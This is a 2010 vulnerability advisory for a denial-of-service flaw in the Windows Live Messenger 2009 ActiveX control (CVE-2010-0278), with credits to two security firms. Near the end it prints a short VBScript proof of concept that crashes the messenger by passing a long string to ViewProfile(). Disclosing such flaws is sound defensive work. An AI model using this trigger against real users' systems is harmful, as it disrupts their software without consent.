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Windows Live Messenger 2009 ActiveX DoS Vulnerability


Arrow  SecurityAlert : 6942
Arrow  CVE : CVE-2010-0278
Arrow  CWE : CWE-Other
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : hackattack
Arrow  Published : 14.01.2010

Arrow  Affected Software : microsoft:windows_live_messenger:2009



Arrow  Advisory Content :  

Product:
Windows Live Messenger 2009 (Build 14.0.8089.726)

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Vulnerability:
ActiveX - Denial of Service

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Discussion:
Vulnerability is in Activex Control(msgsc.14.0.8089.726.dll)
Sending a string to ViewProfile() , cause a crash on msnmsgr.exe
*must be signed in Msn Messenger account for triggerin the vulnerability.

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Vulnerable:
Windows Live Messenger 2009 on Windows Vista
Windows Live Messenger 2009 on Windows 7

Not Vulnerable:
Windows Live Messenger 2009 on Windows XP

Credits:
HACKATTACK IT SECURITY GmbH
Penetration Testing in Deutschland - Österreich - Schweiz
www.hackattack.com

and

Natal Networks Inc.
Vulnerability Discovery, Penetration Testing, IT Security Consulting
www.natalnetworks.com

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Original Advisory
www.hackattack.com
www.natalnetworks.com

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PoC .wsf script:
'works on vista and windows7

<package>

<job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28' id='target'
/>

<script language='vbscript'>

arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

target.ViewProfile arg1

</script>

</job>

</package>

About HACKATTACK and Natal Networks
================
HACKATTACK IT SECURITY GmbH is a Penetrationtest and Security Auditing
company located in Germany and Austria
More Information about HACKATTACK at
http://www.hackattack.com

Natal Networks was founded by Hellcode Research Team in 2009.
Main mission of Natal Network is discover and research vulnerabilities.
Providing penetration tests and security auditing services.
More about; www.natalnetworks.com



Arrow  References :

http://www.securityfocus.com/bid/37680
http://www.securityfocus.com/archive/1/archive/1/508811/100/0/threaded




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